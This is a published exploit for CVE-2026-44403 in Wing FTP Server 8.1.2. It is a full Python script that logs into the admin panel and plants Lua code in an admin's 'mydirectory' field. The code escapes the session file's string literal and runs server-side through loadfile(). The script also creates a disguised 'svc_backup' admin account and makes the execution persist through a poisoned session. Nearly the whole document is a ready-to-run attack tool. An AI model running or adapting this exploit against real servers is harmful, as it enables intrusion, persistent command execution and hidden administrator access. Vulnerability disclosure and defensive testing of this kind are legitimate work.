# Exploit Title: Wing FTP Server 8.1.3 - Authenticated Remote Code Execution # Date: 12.05.2026 # Exploit Author: Ünsal Furkan Harani # Vendor Homepage: [https://www.wftpserver.com/](https://www.wftpserver.com/download.htm) # Software Link: https://www.wftpserver.com/download.htm # Version: v8.1.2 # Tested on: Wing FTP Server <= 8.1.2, fixed in 8.1.3 # CVE : CVE-2026-44403 Wing FTP Server v8.1.2 contains a Remote Code Execution (RCE) vulnerability in the session serialization mechanism. An authenticated administrator can inject arbitrary Lua code through the domain admin `mydirectory` (basefolder) field, which gets executed server-side via `loadfile()`. #!/usr/bin/env python3 """ PREREQUISITES: - Valid full admin credentials (not readonly, not domain admin) - Target: Wing FTP Server web admin panel (default port 5466) IMPACT: Remote Code Execution as the Wing FTP Server service account. Persistence: payload re-executes every time the poisoned session is loaded. """ import requests import hashlib import json import sys import urllib3 urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) class WingFTPSessionPoisoning: def __init__(self, target, admin_user, admin_pass, use_ssl=False): proto = "https" if use_ssl else "http" self.base_url = f"{proto}://{target}" self.admin_user = admin_user self.admin_pass = admin_pass self.session = requests.Session() self.session.verify = False def login(self): """Authenticate to the admin panel and obtain UIDADMIN session cookie.""" # service_login.html accepts credentials via POST url = f"{self.base_url}/service_login.html" data = { "username": self.admin_user, "password": self.admin_pass, } headers = { "Referer": f"{self.base_url}/admin_login.html", } resp = self.session.post(url, data=data, headers=headers) try: result = resp.json() if result.get("code") == 0: print(f"[+] Login successful as '{self.admin_user}'") return True elif result.get("code") in (1, 2): print(f"[-] 2FA required — this PoC doesn't handle TOTP") return False else: print(f"[-] Login failed: {result}") return False except Exception: # Legacy endpoint (admin_loginok.html) returns HTML if "logged in ok" in resp.text or "main.html" in resp.text: print(f"[+] Login successful (legacy endpoint)") return True print(f"[-] Login failed: {resp.text[:200]}") return False def create_poisoned_admin(self, poison_admin_user, poison_admin_pass, lua_payload): """ Create a domain admin with a poisoned 'mydirectory' (basefolder) field. The mydirectory value will be serialized as: _SESSION['admin_basefolder']=[[]] Our payload breaks out of the [[ ]] long string: _SESSION['admin_basefolder']=[[/tmp/x]]--]] When this session file is loaded via loadfile() + f(), the payload executes. """ # Construct the poisoned basefolder value # Format: ]]-- # The ]] closes the long string, code executes, -- comments out the rest poisoned_basefolder = f"/tmp/x]]{lua_payload}--" admin_obj = { "username": poison_admin_user, "password": poison_admin_pass, "readonly": False, "domainadmin": 1, # Make it a domain admin "domainlist": "", # Will be set by server "mydirectory": poisoned_basefolder, # THIS IS THE PAYLOAD "ipmasks": [], "enable_two_factor": False, "two_factor_code": "", } url = f"{self.base_url}/service_add_admin.html" headers = { "Referer": f"{self.base_url}/main.html", } admin_json = json.dumps(admin_obj, separators=(',', ':')) print(f"[*] Creating poisoned domain admin '{poison_admin_user}'...") print(f"[*] Poisoned basefolder: {poisoned_basefolder}") # Use multipart/form-data — Wing FTP's Lua POST parser handles it more reliably resp = self.session.post(url, files={"admin": (None, admin_json)}, headers=headers) try: result = resp.json() if result.get("code") == 0: print(f"[+] Poisoned admin created successfully!") return True elif result.get("code") == -3: print(f"[!] Admin '{poison_admin_user}' already exists. Trying modify...") return self.modify_poisoned_admin(poison_admin_user, poison_admin_pass, lua_payload) else: print(f"[-] Failed to create admin: {result}") return False except Exception: print(f"[-] Unexpected response: {resp.text[:200]}") return False def modify_poisoned_admin(self, poison_admin_user, poison_admin_pass, lua_payload): """Modify existing admin to inject the poisoned basefolder.""" poisoned_basefolder = f"/tmp/x]]{lua_payload}--" admin_obj = { "username": poison_admin_user, "password": poison_admin_pass, "readonly": False, "domainadmin": 1, "domainlist": "", "mydirectory": poisoned_basefolder, "ipmasks": [], "enable_two_factor": False, "two_factor_code": "", } # service_modify_admin.html has NO bracket stripping at all url = f"{self.base_url}/service_modify_admin.html" headers = { "Referer": f"{self.base_url}/main.html", } admin_json = json.dumps(admin_obj, separators=(',', ':')) resp = self.session.post(url, files={"admin": (None, admin_json), "oldname": (None, poison_admin_user)}, headers=headers) try: result = resp.json() if result.get("code") == 0: print(f"[+] Admin '{poison_admin_user}' modified with poisoned basefolder!") return True else: print(f"[-] Failed to modify admin: {result}") return False except Exception: print(f"[-] Unexpected response: {resp.text[:200]}") return False def trigger_payload(self, poison_admin_user, poison_admin_pass): """ Trigger the payload by logging in as the poisoned domain admin. On login, service_login.html:95-96 stores the basefolder in session: rawset(_SESSION,"admin_basefolder",basefolder) rawset(_SESSION,"admin_nowpath",basefolder) SessionModule.save() serializes it as: _SESSION['admin_basefolder']=[[/tmp/x]]--]] The payload executes on the NEXT session load (any subsequent request). """ print(f"\n[*] Triggering payload by logging in as '{poison_admin_user}'...") trigger_session = requests.Session() trigger_session.verify = False url = f"{self.base_url}/service_login.html" data = { "username": poison_admin_user, "password": poison_admin_pass, } headers = { "Referer": f"{self.base_url}/admin_login.html", } # Step 1: Login — stores poisoned basefolder in session resp = trigger_session.post(url, data=data, headers=headers) print(f"[*] Login response: {resp.text[:200]}") # Step 2: Any subsequent request triggers loadfile() on the session file # The session file now contains the Lua payload trigger_url = f"{self.base_url}/service_get_dir_list.html" headers["Referer"] = f"{self.base_url}/main.html" resp2 = trigger_session.post(trigger_url, data={"dir": ""}, headers=headers) print(f"[*] Trigger response: {resp2.status_code}") print(f"[+] Payload should have executed on the server!") return True def demo_session_file(): """ Demonstrate what the poisoned session file looks like. Shows the exact Lua code that gets written and executed. """ print("=" * 70) print("DEMONSTRATION: Poisoned Session File Content") print("=" * 70) payload = 'os.execute("id > /tmp/wingftp_pwned.txt")' basefolder = f'/tmp/x]]{payload}--' print(f"\n[1] Admin sets mydirectory to:") print(f" {basefolder}") print(f"\n[2] On login, session is saved. serialize() outputs:") session_content = f"""_SESSION['admin']=[[poisoned_admin]] _SESSION['admin_basefolder']=[[{basefolder}]] _SESSION['admin_domainadmin']=1 _SESSION['admin_domainlist']=[[]] _SESSION['admin_nowpath']=[[{basefolder}]] _SESSION['admin_readonly']=0 _SESSION['ipaddress']=[[127.0.0.1]] _SESSION['logined']=[[true]]""" print(f" --- session file content ---") for line in session_content.split('\n'): print(f" {line}") print(f" --- end ---") print(f"\n[3] Lua parser sees the basefolder line as:") print(f" _SESSION['admin_basefolder']=[[/tmp/x]] --> string '/tmp/x'") print(f" {payload} --> EXECUTED AS CODE!") print(f" --]] --> comment (ignored)") print(f"\n[4] Same for admin_nowpath line — payload executes TWICE.") print(f"\n[5] Result: '{payload}' runs as server process.") print("=" * 70) def main(): if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} [args...]") print(f"") print(f"Modes:") print(f" demo — Show how the vulnerability works") print(f" exploit — Create poisoned admin and trigger RCE") print(f"") print(f"Examples:") print(f" {sys.argv[0]} demo") print(f" {sys.argv[0]} exploit 192.168.1.10:5466 admin password123") sys.exit(1) mode = sys.argv[1] if mode == "demo": demo_session_file() elif mode == "exploit": if len(sys.argv) < 5: print("Usage: exploit ") sys.exit(1) target = sys.argv[2] admin_user = sys.argv[3] admin_pass = sys.argv[4] # Default payload — write proof file (Windows-compatible) lua_payload = 'os.execute("whoami > C:\\\\wingftp_pwned.txt")' poison_admin = "svc_backup" poison_pass = "P@ssw0rd123!" print(f"[*] Wing FTP Server Session Poisoning RCE — Chain 2") print(f"[*] Target: {target}") print(f"[*] Payload: {lua_payload}") print(f"[*] Poisoned admin account: {poison_admin}") print() exploit = WingFTPSessionPoisoning(target, admin_user, admin_pass) if not exploit.login(): sys.exit(1) if not exploit.create_poisoned_admin(poison_admin, poison_pass, lua_payload): sys.exit(1) exploit.trigger_payload(poison_admin, poison_pass) print(f"\n[*] Check /tmp/wingftp_pwned.txt on target for proof of execution") else: print(f"Unknown mode: {mode}") sys.exit(1) if __name__ == "__main__": main() Sent with [Proton Mail](https://proton.me/mail/home) secure email.